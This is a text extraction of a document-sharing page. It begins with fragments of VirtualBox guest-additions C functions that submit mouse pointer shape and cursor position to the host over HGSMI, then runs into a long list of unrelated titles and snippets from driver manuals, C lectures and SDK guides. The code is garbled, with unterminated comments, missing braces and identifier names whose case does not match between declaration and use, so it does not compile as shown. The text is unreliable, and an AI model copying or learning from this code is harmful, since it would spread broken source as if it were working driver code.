24 cbdata, cblength)); return VERR_INVALID_PARAMETER; /* Allocate the IO buffer. p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvamousepointershape) + cbdata, HGSMI_CH_VBVA, VBVA_MOUSE_POINTER_SHAPE); if (p) /* Prepare data to be sent to the host. /* Will be updated by the host. p->i32result = VINF_SUCCESS; /* We have our custom flags in the field p->fu32flags = fflags; p->u32hotx = chotx; p->u32hoty = choty; p->u32width = cwidth; p->u32height = cheight; if (p->fu32flags & VBOX_MOUSE_POINTER_SHAPE) /* Copy the actual pointer data. memcpy (p->au8data, ppixels, cbdata); rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) rc = p->i32result; /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFlowFunc(("rc %d\n", rc)); return rc; /** * Report the guest cursor position. The host may wish to use this information * to re-position its own cursor (though this is currently unlikely). The * current host cursor position is returned. pctx The context containing the heap used. freportposition Are we reporting a position? x Guest cursor X position. y Guest cursor Y position.
25 pxhost Host cursor X position is stored here. Optional. pyhost Host cursor Y position is stored here. Optional. iprt status code. VERR_NO_MEMORY HGSMI heap allocation failed. DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pctx, bool freportposition, uint32_t x, uint32_t y, uint32_t *pxhost, uint32_t *pyhost) int rc = VINF_SUCCESS; VBVACURSORPOSITION *p; Log(("%s: x=%u, y=%u\n", PRETTY_FUNCTION, (unsigned)x, (unsigned)y)); /* Allocate the IO buffer. p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(vbvacursorposition), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION); if (p) /* Prepare data to be sent to the host. p->freportposition = freportposition? 1 : 0; p->x = x; p->y = y; rc = VBoxHGSMIBufferSubmit(pCtx, p); if (RT_SUCCESS(rc)) if (pxhost) *pxhost = p->x; if (pyhost) *pyhost = p->y; Log(("%s: return: x=%u, y=%u\n", PRETTY_FUNCTION, (unsigned)p->x, (unsigned)p->y)); /* Free the IO buffer. VBoxHGSMIBufferFree(pCtx, p); else rc = VERR_NO_MEMORY; LogFunc(("rc = %d\n", rc)); return rc; Mouse pointer position to be read from VMMDev memory, address of the memory region
26 * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain * host information which is needed by the guest. * * Reading will not cause a switch to the host. * * Have to take into account: * * synchronization: host must write to the memory only from EMT, * large structures must be read under flag, which tells the host * that the guest is currently reading the memory (OWNER flag?). * * guest writes: may be allocate a page for the host info and make * the page readonly for the guest. * * the information should be available only for additions drivers. * * VMMDev additions driver will inform the host which version of the info it expects, * host must support all versions. *
The Note/1 Driver Design
Nathan Lay Kelly Hirai 6/14/06 Device Drivers The Note/1 Driver Design Introduction The Music Quest Note/1 midi engine is a small midi controller that communicates over the parallel port. It features two
More informationWhat is a Linux Device Driver? Kevin Dankwardt, Ph.D. VP Technology Open Source Careers
What is a Linux Device Driver? Kevin Dankwardt, Ph.D. VP Technology Open Source Careers kdankwardt@oscareers.com What does a driver do? Provides a more convenient interface to user-space for the hardware.
More informationCUDA Toolkit CUPTI User's Guide. DA _v01 September 2012
CUDA Toolkit CUPTI User's Guide DA-05679-001_v01 September 2012 Document Change History Ver Date Resp Reason for change v01 2011/1/19 DG Initial revision for CUDA Tools SDK 4.0 v02 2012/1/5 DG Revisions
More informationArduCAM USB Camera SDK
ArduCAM USB Camera SDK User Guide Rev 1.0, April 2017 Table of Contents 1 Introduction... 2 2 USB SDK Library... 2 3 Demo Code... 2 3.1 Thread.cpp... 2 3.2 USBTestDlg.cpp... 2 4 ArduCAM APIs... 2 4.1 Data
More informationCS 261 Fall C Introduction. Variables, Memory Model, Pointers, and Debugging. Mike Lam, Professor
CS 261 Fall 2017 Mike Lam, Professor C Introduction Variables, Memory Model, Pointers, and Debugging The C Language Systems language originally developed for Unix Imperative, compiled language with static
More informationEL6483: Brief Overview of C Programming Language
EL6483: Brief Overview of C Programming Language EL6483 Spring 2016 EL6483 EL6483: Brief Overview of C Programming Language Spring 2016 1 / 30 Preprocessor macros, Syntax for comments Macro definitions
More informationMotivation was to facilitate development of systems software, especially OS development.
A History Lesson C Basics 1 Development of language by Dennis Ritchie at Bell Labs culminated in the C language in 1972. Motivation was to facilitate development of systems software, especially OS development.
More informationKernel Modules. Kartik Gopalan
Kernel Modules Kartik Gopalan Kernel Modules Allow code to be added to the kernel, dynamically Only those modules that are needed are loaded. Unload when no longer required - frees up memory and other
More informationSpiNNaker Application Programming Interface (API)
SpiNNaker Application Programming Interface (API) Version 2.0.0 10 March 2016 Application programming interface (API) Event-driven programming model The SpiNNaker API programming model is a simple, event-driven
More informationVariables Data types Variable I/O. C introduction. Variables. Variables 1 / 14
C introduction Variables Variables 1 / 14 Contents Variables Data types Variable I/O Variables 2 / 14 Usage Declaration: t y p e i d e n t i f i e r ; Assignment: i d e n t i f i e r = v a l u e ; Definition
More informationCharacter Device Drivers One Module - Multiple Devices
Review from previous classes Three Types: Block, Character, and Network Interface Device Drivers MAJOR & MINOR numbers assigned register_chrdev_region(), alloc_chrdev_region(), unregister_chrdev_region()
More informationData Storage. August 9, Indiana University. Geoffrey Brown, Bryce Himebaugh 2015 August 9, / 19
Data Storage Geoffrey Brown Bryce Himebaugh Indiana University August 9, 2016 Geoffrey Brown, Bryce Himebaugh 2015 August 9, 2016 1 / 19 Outline Bits, Bytes, Words Word Size Byte Addressable Memory Byte
More informationStructures, Unions Alignment, Padding, Bit Fields Access, Initialization Compound Literals Opaque Structures Summary. Structures
Structures Proseminar C Grundlagen und Konzepte Michael Kuhn Research Group Scientific Computing Department of Informatics Faculty of Mathematics, Informatics und Natural Sciences University of Hamburg
More informationC Introduction. Comparison w/ Java, Memory Model, and Pointers
CS 261 Fall 2018 Mike Lam, Professor C Introduction Comparison w/ Java, Memory Model, and Pointers Please go to socrative.com on your phone or laptop, choose student login and join room LAMJMU The C Language
More informationBluetooth low energy Protocol Stack
APPLICATION NOTE R01AN2768EJ0130 Rev.1.30 Introduction This manual describes how to develop an application using the Bluetooth low energy software (hereafter called BLE software), and overview of RWKE
More informationArduCAM USB Camera SDK
ArduCAM USB Camera SDK User Guide Rev 1.2, May 2018 Table of Contents 1 Introduction... 3 2 USB SDK Library... 3 3 Demo Code... 3 3.1 Thread.cpp... 3 3.2 USBTestDlg.cpp... 3 3.3 CommonTools.cpp... 3 4
More informationFinal Step #7. Memory mapping For Sunday 15/05 23h59
Final Step #7 Memory mapping For Sunday 15/05 23h59 Remove the packet content print in the rx_handler rx_handler shall not print the first X bytes of the packet anymore nor any per-packet message This
More informationArduCAM USB Camera C/C++ SDK
ArduCAM USB Camera C/C++ SDK User Guide Rev 1.3, Oct 2018 Table of Contents 1 Introduction... 3 2 USB SDK Library... 3 3 Demo Code... 3 3.1 Thread.cpp... 3 3.2 USBTestDlg.cpp... 3 3.3 CommonTools.cpp...
More informationDM6420 Driver for Linux User s Manual Version 2.01.xx
User s Manual Version 2.01.xx SWM-640010014 rev C ISO9001 and AS9100 Certified RTD Embedded Technologies, INC. 103 Innovation Blvd. State College, PA 16803-0906 Phone: +1-814-234-8087 FAX: +1-814-234-5218
More informationPointers, Dynamic Data, and Reference Types
Pointers, Dynamic Data, and Reference Types Review on Pointers Reference Variables Dynamic Memory Allocation The new operator The delete operator Dynamic Memory Allocation for Arrays 1 C++ Data Types simple
More informationBLOCK DEVICES. Philipp Dollst
BLOCK DEVICES Philipp Dollst BASICS A block driver provides access to devices that transfer randomly accessible data in fixed-size blocks disk drives, primarily. The Linux kernel sees block devices a being
More informationCSE 333 Midterm Exam 5/9/14 Sample Solution
Question 1. (20 points) C programming. Implement the C library function strncpy. The specification of srncpy is as follows: Copy characters (bytes) from src to dst until either a '\0' character is found
More informationLinux DRM Developer s Guide
Linux DRM Developer s Guide Linux DRM Developer s Guide Copyright 2008 Intel Corporation (Jesse Barnes ) The contents of this file may be used under the terms of the GNU General
More informationMotivation was to facilitate development of systems software, especially OS development.
A History Lesson C Basics 1 Development of language by Dennis Ritchie at Bell Labs culminated in the C language in 1972. Motivation was to facilitate development of systems software, especially OS development.
More informationSystems Programming. 09. Filesystem in USErspace (FUSE) Alexander Holupirek
Systems Programming 09. Filesystem in USErspace (FUSE) Alexander Holupirek Database and Information Systems Group Department of Computer & Information Science University of Konstanz Summer Term 2008 Schedule
More informationData Structures Unit 02
Data Structures Unit 02 Bucharest University of Economic Studies Memory classes, Bit structures and operators, User data types Memory classes Define specific types of variables in order to differentiate
More informationKurt Schmidt. October 30, 2018
to Structs Dept. of Computer Science, Drexel University October 30, 2018 Array Objectives to Structs Intended audience: Student who has working knowledge of Python To gain some experience with a statically-typed
More informationVD Interfaces V0.1. Draft 2
VD Interfaces V0.1 Draft 2 Copyright 2009 Red Hat, Inc. Licensed under a Creative Commons Attribution-Share Alike 3.0 United States License (see http://creativecommons.org/licenses/by-sa/3.0/us/legalcode).
More informationNVJPEG. DA _v0.2.0 October nvjpeg Libary Guide
NVJPEG DA-06762-001_v0.2.0 October 2018 Libary Guide TABLE OF CONTENTS Chapter 1. Introduction...1 Chapter 2. Using the Library... 3 2.1. Single Image Decoding... 3 2.3. Batched Image Decoding... 6 2.4.
More informationCprE 288 Introduction to Embedded Systems Exam 1 Review. 1
CprE 288 Introduction to Embedded Systems Exam 1 Review http://class.ece.iastate.edu/cpre288 1 Overview of Today s Lecture Announcements Exam 1 Review http://class.ece.iastate.edu/cpre288 2 Announcements
More informationVariables in C. Variables in C. What Are Variables in C? CMSC 104, Fall 2012 John Y. Park
Variables in C CMSC 104, Fall 2012 John Y. Park 1 Variables in C Topics Naming Variables Declaring Variables Using Variables The Assignment Statement 2 What Are Variables in C? Variables in C have the
More information7.4 Simple example of Linux drivers
407 7.4 Simple example of Linux drivers In the previous section, we introduce a simple Hello module driver, it is just some information from the serial port output, the board did not correspond to the
More informationlibnetfilter_log Reference Manual
libnetfilter_log Reference Manual x.y Generated by Doxygen 1.4.6 Tue Mar 21 13:47:12 2006 CONTENTS 1 Contents 1 libnetfilter_log File Index 1 2 libnetfilter_log File Documentation 1 1 libnetfilter_log
More informationCARRIER-SW-82. Linux Device Driver. IPAC Carrier Version 2.2.x. User Manual. Issue November 2017
The Embedded I/O Company CARRIER-SW-82 Linux Device Driver IPAC Carrier Version 2.2.x User Manual Issue 2.2.0 November 2017 TEWS TECHNOLOGIES GmbH Am Bahnhof 7 25469 Halstenbek, Germany Phone: +49 (0)
More informationExercise Session 2 Systems Programming and Computer Architecture
Systems Group Department of Computer Science ETH Zürich Exercise Session 2 Systems Programming and Computer Architecture Herbstsemester 216 Agenda Linux vs. Windows Working with SVN Exercise 1: bitcount()
More informationCompiling Your Code and Running the Tests
Database Systems Instructor: Hao-Hua Chu Fall Semester, 2004 Assignment 4: Heap File Page Structure Deadline: 17:00, October 26 (Tuesday), 2004 This is a group assignment, and at most 2 people per group
More informationFiles. Eric McCreath
Files Eric McCreath 2 What is a file? Information used by a computer system may be stored on a variety of storage mediums (magnetic disks, magnetic tapes, optical disks, flash disks etc). However, as a
More information6.096 Introduction to C++ January (IAP) 2009
MIT OpenCourseWare http://ocw.mit.edu 6.096 Introduction to C++ January (IAP) 2009 For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms. Welcome to 6.096 Lecture
More informationMellanox Scalable Hierarchical Aggregation and Reduction Protocol (SHARP) API Guide. Version 1.0
Mellanox Scalable Hierarchical Aggregation and Reduction Protocol (SHARP) API Guide Version 1.0 Table of Contents Copyright... 3 Introduction... 4 Class Index... 5 File Index... 6 Class Documentation...
More informationMemory Mapped I/O. Michael Jantz. Prasad Kulkarni. EECS 678 Memory Mapped I/O Lab 1
Memory Mapped I/O Michael Jantz Prasad Kulkarni EECS 678 Memory Mapped I/O Lab 1 Introduction This lab discusses various techniques user level programmers can use to control how their process' logical
More informationDo not start the test until instructed to do so!
Instructions: Print your name in the space provided below. This examination is closed book and closed notes, aside from the permitted one-page formula sheet. No calculators or other electronic devices
More informationProgramming. Structures, enums and unions
Programming Structures, enums and unions Summary } Structures } Declaration } Member access } Function arguments } Memory layout } Array of structures } Typedef } Enums } Unions 2 Idea! } I want to describe
More informationTIP675-SW-82. Linux Device Driver. 48 TTL I/O Lines with Interrupts Version 1.2.x. User Manual. Issue November 2013
The Embedded I/O Company TIP675-SW-82 Linux Device Driver 48 TTL I/O Lines with Interrupts Version 1.2.x User Manual Issue 1.2.5 November 2013 TEWS TECHNOLOGIES GmbH Am Bahnhof 7 25469 Halstenbek, Germany
More informationRobust Programming. Style of programming that prevents abnormal termination and unexpected actions
Robust Programming Style of programming that prevents abnormal termination and unexpected actions Code handles bad inputs reasonably Code assumes errors will occur and takes appropriate action Also called
More informationNPTEL Course Jan K. Gopinath Indian Institute of Science
Storage Systems NPTEL Course Jan 2012 (Lecture 17) K. Gopinath Indian Institute of Science Accessing Devices/Device Driver Many ways to access devices under linux Non-block based devices ( char ) - stream
More informationCMPE-013/L. Introduction to C Programming
CMPE-013/L Introduction to C Programming Bryant Wenborg Mairs Spring 2014 What we will cover in 13/L Embedded C on a microcontroller Specific issues with microcontrollers Peripheral usage Reading documentation
More informationEmulation 2. G. Lettieri. 15 Oct. 2014
Emulation 2 G. Lettieri 15 Oct. 2014 1 I/O examples In an emulator, we implement each I/O device as an object, or a set of objects. The real device in the target system is connected to the CPU via an interface
More information1. Overview Ethernet FIT Module Outline of the API API Information... 5
Introduction APPLICATION NOTE R01AN2009EJ0115 Rev.1.15 This application note describes an Ethernet module that uses Firmware Integration Technology (FIT). This module performs Ethernet frame transmission
More informationRecitation #11 Malloc Lab. November 7th, 2017
18-600 Recitation #11 Malloc Lab November 7th, 2017 1 2 Important Notes about Malloc Lab Malloc lab has been updated from previous years Supports a full 64 bit address space rather than 32 bit Encourages
More informationProgramming in C++ 4. The lexical basis of C++
Programming in C++ 4. The lexical basis of C++! Characters and tokens! Permissible characters! Comments & white spaces! Identifiers! Keywords! Constants! Operators! Summary 1 Characters and tokens A C++
More informationICU 58 SpoofChecker API Changes
ICU 58 SpoofChecker API Changes This is a proposal for changes to the SpoofChecker API in Java and C++. The changes are intended to reflect the most recent version of UTS 39. SpoofChecker API Changes,
More informationG52CPP C++ Programming Lecture 8. Dr Jason Atkin
G52CPP C++ Programming Lecture 8 Dr Jason Atkin 1 Last lecture Dynamic memory allocation Memory re-allocation to grow arrays Linked lists Use -> rather than. pcurrent = pcurrent -> pnext; 2 Aside: do not
More informationCreating a New USB project with KSDK and Processor Expert support in KDS
Freescale Semiconductor Creating a New USB project with KSDK and Processor Expert support in KDS By: Technical Information Center Developing an USB application can involve to include some extra features
More informationHeap Arrays. Steven R. Bagley
Heap Arrays Steven R. Bagley Recap Data is stored in variables Can be accessed by the variable name Or in an array, accessed by name and index a[42] = 35; Variables and arrays have a type int, char, double,
More informationC: How to Program. Week /Mar/05
1 C: How to Program Week 2 2007/Mar/05 Chapter 2 - Introduction to C Programming 2 Outline 2.1 Introduction 2.2 A Simple C Program: Printing a Line of Text 2.3 Another Simple C Program: Adding Two Integers
More informationPointers, Pointers, Pointers!
Pointers, Pointers, Pointers! Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers, Pointers! Colin Gordon csgordon@cs.washington.edu University
More informationComputer Labs: Lab5 Video Card in Graphics Mode
Computer Labs: Lab5 Video Card in Graphics Mode 2 o MIEIC Pedro F. Souto (pfs@fe.up.pt) November 9, 2017 Contents Graphics Adapter/Video Card Video Card in Graphics Mode Lab 5 BIOS and VBE Accessing VRAM
More informationShared Memory Memory mapped files
Shared Memory Memory mapped files 1 Shared Memory Introduction Creating a Shared Memory Segment Shared Memory Control Shared Memory Operations Using a File as Shared Memory 2 Introduction Shared memory
More informationThis application note describes the specification of the JPEG codec unit (in the following, JCU) driver of SH7268/SH7269.
APPLICATION NOTE SH7268/7269 Group JPEG Codec Unit "JCU" Sample Driver R01AN2338EJ0104 Rev. 1.04 Introduction This application note describes the specification of the JPEG codec unit (in the following,
More informationRadix Tree, IDR APIs and their test suite. Rehas Sachdeva & Sandhya Bankar
Radix Tree, IDR APIs and their test suite Rehas Sachdeva & Sandhya Bankar Introduction Outreachy intern Dec 2016-March 2017 for Linux kernel, mentored by Rik van Riel and Matthew Wilcox. 4th year undergrad
More informationGraphics Overview ECE2893. Lecture 19. ECE2893 Graphics Overview Spring / 15
Graphics Overview ECE2893 Lecture 19 ECE2893 Graphics Overview Spring 2011 1 / 15 Graphical Displays 1 Virtually all modern computers use a full color Graphical Display device. 2 It displays images, text,
More informationMalloc Lab & Midterm Solutions. Recitation 11: Tuesday: 11/08/2016
Malloc Lab & Midterm Solutions Recitation 11: Tuesday: 11/08/2016 Malloc 2 Important Notes about Malloc Lab Malloc lab has been updated from previous years Supports a full 64 bit address space rather than
More informationlibquadflash API 1 General Operations
libquadflash API IN THIS DOCUMENT General Operations Boot Partition s Data Partition s The libquadflash library provides functions for reading and writing data to Quad-SPI flash devices that use the xcore
More informationAdvcan QNX Driver User Manual V1.02
Advcan QNX Driver User Manual V1.02 Contents 1. Introduction...1 1.1. System Requirement...1 1.2. Driver configuration...1 2. AdvCan Data Structures...2 2.1. Canmsg_t Struct Reference...2 2.2. CanStatusPar
More informationRC1000-PP. Function Reference Manual
RC1000-PP Function Reference Manual RC1000-PP Function Reference Manual Microsoft and MS-DOS are registered trademarks and Windows, Windows 95, Windows 98 and Windows NT are trademarks of Microsoft Corporation.
More informationWireless Sensor Networks. Introduction to the Laboratory
Wireless Sensor Networks Introduction to the Laboratory c.buratti@unibo.it +39 051 20 93147 Office Hours: Tuesday 3 5 pm @ Main Building, third floor Credits: 6 Outline MC1322x Devices IAR Embedded workbench
More informationCSci 4061 Introduction to Operating Systems. Programs in C/Unix
CSci 4061 Introduction to Operating Systems Programs in C/Unix Today Basic C programming Follow on to recitation Structure of a C program A C program consists of a collection of C functions, structs, arrays,
More informationSystem Interconnect Software Programming Interface
System Interconnect Software Programming Interface Overview By Steve Shih and Alex Chang This document describes the programming interface of the system interconnect software components. Specifically,
More informationBifrost. Easy High-Throughput Computing github.com/ledatelescope/bifrost
Bifrost Easy High-Throughput Computing github.com/ledatelescope/bifrost Miles Cranmer (Harvard/McGill), with: Ben Barsdell (NVIDIA), Danny Price (Berkeley), Hugh Garsden (Harvard), Gregory Taylor (UNM),
More informationShort Notes of CS201
#includes: Short Notes of CS201 The #include directive instructs the preprocessor to read and include a file into a source code file. The file name is typically enclosed with < and > if the file is a system
More informationPDF Document structure, that need for managing of PDF file. It uses in all functions from EMF2PDF SDK.
EMF2PDF SDK Pilot Structures struct pdf_document { PDFDocument4 *pdfdoc; }; PDF Document structure, that need for managing of PDF file. It uses in all functions from EMF2PDF SDK. typedef enum { conone
More informationTokens, Expressions and Control Structures
3 Tokens, Expressions and Control Structures Tokens Keywords Identifiers Data types User-defined types Derived types Symbolic constants Declaration of variables Initialization Reference variables Type
More informationBasic Types, Variables, Literals, Constants
Basic Types, Variables, Literals, Constants What is in a Word? A byte is the basic addressable unit of memory in RAM Typically it is 8 bits (octet) But some machines had 7, or 9, or... A word is the basic
More informationEffective Programming in C and UNIX Lab 6 Image Manipulation with BMP Images Due Date: Sunday April 3rd, 2011 by 11:59pm
15-123 Effective Programming in C and UNIX Lab 6 Image Manipulation with BMP Images Due Date: Sunday April 3rd, 2011 by 11:59pm The Assignment Summary: In this assignment we are planning to manipulate
More informationChapter 2 - Introduction to C Programming
Chapter 2 - Introduction to C Programming 2 Outline 2.1 Introduction 2.2 A Simple C Program: Printing a Line of Text 2.3 Another Simple C Program: Adding Two Integers 2.4 Memory Concepts 2.5 Arithmetic
More information0x0d2C May your signals all trap May your references be bounded All memory aligned Floats to ints round. remember...
Types Page 1 "ode to C" Monday, September 18, 2006 4:09 PM 0x0d2C ------ May your signals all trap May your references be bounded All memory aligned Floats to ints round remember... Non -zero is true ++
More informationQNX Software Development Platform 6.6. Input Events Library Reference
QNX Software Development Platform 6.6 QNX Software Development Platform 6.6 Input Events Library Reference 2011 2014, QNX Software Systems Limited, a subsidiary of BlackBerry Limited. All rights reserved.
More informationCS 326 Operating Systems C Programming. Greg Benson Department of Computer Science University of San Francisco
CS 326 Operating Systems C Programming Greg Benson Department of Computer Science University of San Francisco Why C? Fast (good optimizing compilers) Not too high-level (Java, Python, Lisp) Not too low-level
More informationCSCI-243 Exam 1 Review February 22, 2015 Presented by the RIT Computer Science Community
CSCI-243 Exam 1 Review February 22, 2015 Presented by the RIT Computer Science Community http://csc.cs.rit.edu History and Evolution of Programming Languages 1. Explain the relationship between machine
More informationSIMATIC Industrial software Readme SIMATIC S7-PLCSIM Advanced V2.0 SP1 Readme
SIMATIC Industrial software Readme General information Content This Readme file contains information about SIMATIC S7-PLCSIM Advanced V2.0 SP1. The information should be considered more up-to-date than
More informationCS201 - Introduction to Programming Glossary By
CS201 - Introduction to Programming Glossary By #include : The #include directive instructs the preprocessor to read and include a file into a source code file. The file name is typically enclosed with
More informationadvanced data types (2) typedef. today advanced data types (3) enum. mon 23 sep 2002 defining your own types using typedef
today advanced data types (1) typedef. mon 23 sep 2002 homework #1 due today homework #2 out today quiz #1 next class 30-45 minutes long one page of notes topics: C advanced data types dynamic memory allocation
More informationStructures and Unions in C. Alan L. Cox
Structures and Unions in C Alan L. Cox alc@rice.edu Administrivia Assignment 1 is due tonight Textbook Lectures begin covering material that is also covered by the textbook on 1/30 Assignment 3 (assigned
More informationEverything Else C Programming and Software Tools. N.C. State Department of Computer Science
Everything Else C Programming and Software Tools N.C. State Department of Computer Science BOOLEANS CSC230: C and Software Tools NC State University Computer Science Faculty 2 Booleans In C99, bools are
More information3/7/2018. Sometimes, Knowing Which Thing is Enough. ECE 220: Computer Systems & Programming. Often Want to Group Data Together Conceptually
University of Illinois at Urbana-Champaign Dept. of Electrical and Computer Engineering ECE 220: Computer Systems & Programming Structured Data in C Sometimes, Knowing Which Thing is Enough In MP6, we
More informationCMPS 105 Systems Programming. Prof. Darrell Long E2.371
+ CMPS 105 Systems Programming Prof. Darrell Long E2.371 darrell@ucsc.edu + Chapter 3: File I/O 2 + File I/O 3 n What attributes do files need? n Data storage n Byte stream n Named n Non-volatile n Shared
More informationTIP120-SW-42. VxWorks Device Driver. Motion Controller with Incremental Encoder Interface. Version 2.1.x. User Manual. Issue 2.1.
The Embedded I/O Company TIP120-SW-42 VxWorks Device Driver Motion Controller with Incremental Encoder Interface Version 2.1.x User Manual Issue 2.1.0 May 2010 TEWS TECHNOLOGIES GmbH Am Bahnhof 7 25469
More informationSCD - Scorpion Camera Drivers Specification Documentation
SCD - Scorpion Camera Drivers Specification Documentation Release XI Tordivel AS Jun 08, 2018 Contents 1 Camera configuration persistance 3 2 New in Scorpion XI port-based configuration 5 3 Camera Properties
More informationCSE 333 SECTION 8. Sockets, Network Programming
CSE 333 SECTION 8 Sockets, Network Programming Overview Domain Name Service (DNS) Client side network programming steps and calls Server side network programming steps and calls dig and ncat tools Network
More informationDissecting a 17-year-old kernel bug
Dissecting a 17-year-old kernel bug Vitaly Nikolenko bevx 2018 - Hong Kong https://www.beyondsecurity.com/bevxcon/ Agenda Vulnerability analysis CVE-2018-6554^ - memory leak CVE-2018-6555^ - privilege
More informationTypes, Variables, and Constants
, Variables, and Constants What is a Type The space in which a value is defined Space All possible allowed values All defined operations Integer Space whole numbers +, -, x No divide 2 tj Why Types No
More informationNabto Serial Link Protocol
Nabto Serial Link Protocol Nabto TM Nabto Serial Link Protocol Page 1 of 22 Contents Vocabulary... 4 Introduction... 5 Access Control... 5 Connection type... 5 Access Control List... 5 Protocol details...
More informationExercise Session 2 Simon Gerber
Exercise Session 2 Simon Gerber CASP 2014 Exercise 2: Binary search tree Implement and test a binary search tree in C: Implement key insert() and lookup() functions Implement as C module: bst.c, bst.h
More informationCOMP322 - Introduction to C++ Lecture 02 - Basics of C++
COMP322 - Introduction to C++ Lecture 02 - Basics of C++ School of Computer Science 16 January 2012 C++ basics - Arithmetic operators Where possible, C++ will automatically convert among the basic types.
More informationRealtek Over-The-Air Programing
Realtek Over-The-Air Programing Over-the-air programming (OTA) provides a methodology of updating device firmware remotely via TCP/IP network connection. Table of Contents 1 Introduction... 3 2 OTA overview...
More informationCSC 467 Lecture 13-14: Semantic Analysis
CSC 467 Lecture 13-14: Semantic Analysis Recall Parsing is to translate token stream to parse tree Today How to build trees: syntax direction translation How to add information to trees: semantic analysis
More informationCMSC 104 -Lecture 5 John Y. Park, adapted by C Grasso
CMSC 104 -Lecture 5 John Y. Park, adapted by C Grasso 1 Topics Naming Variables Declaring Variables Using Variables The Assignment Statement 2 a + b Variables are notthe same thing as variables in algebra.
More informationSA30228 / CVE
Generated by Secunia 29 May, 2008 5 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 4 Characteristics 4 Tested Versions 5 Fixed Versions 5 References 5 Generated by Secunia 29 May,
More informationComputer Labs: Introduction to C
Computer Labs: Introduction to C 2 o MIEIC Pedro F. Souto (pfs@fe.up.pt) September 22, 2014 C vs. C++ C++ is a super-set of C C++ has classes facilitates OO programming C++ has references safer and simpler
More informationREVISION HISTORY NUMBER DATE DESCRIPTION NAME
i ii REVISION HISTORY NUMBER DATE DESCRIPTION NAME iii Contents 1 The structure of a Linux kernel module 1 1.1 Install XV6...................................................... 1 1.2 Compile and load a
More information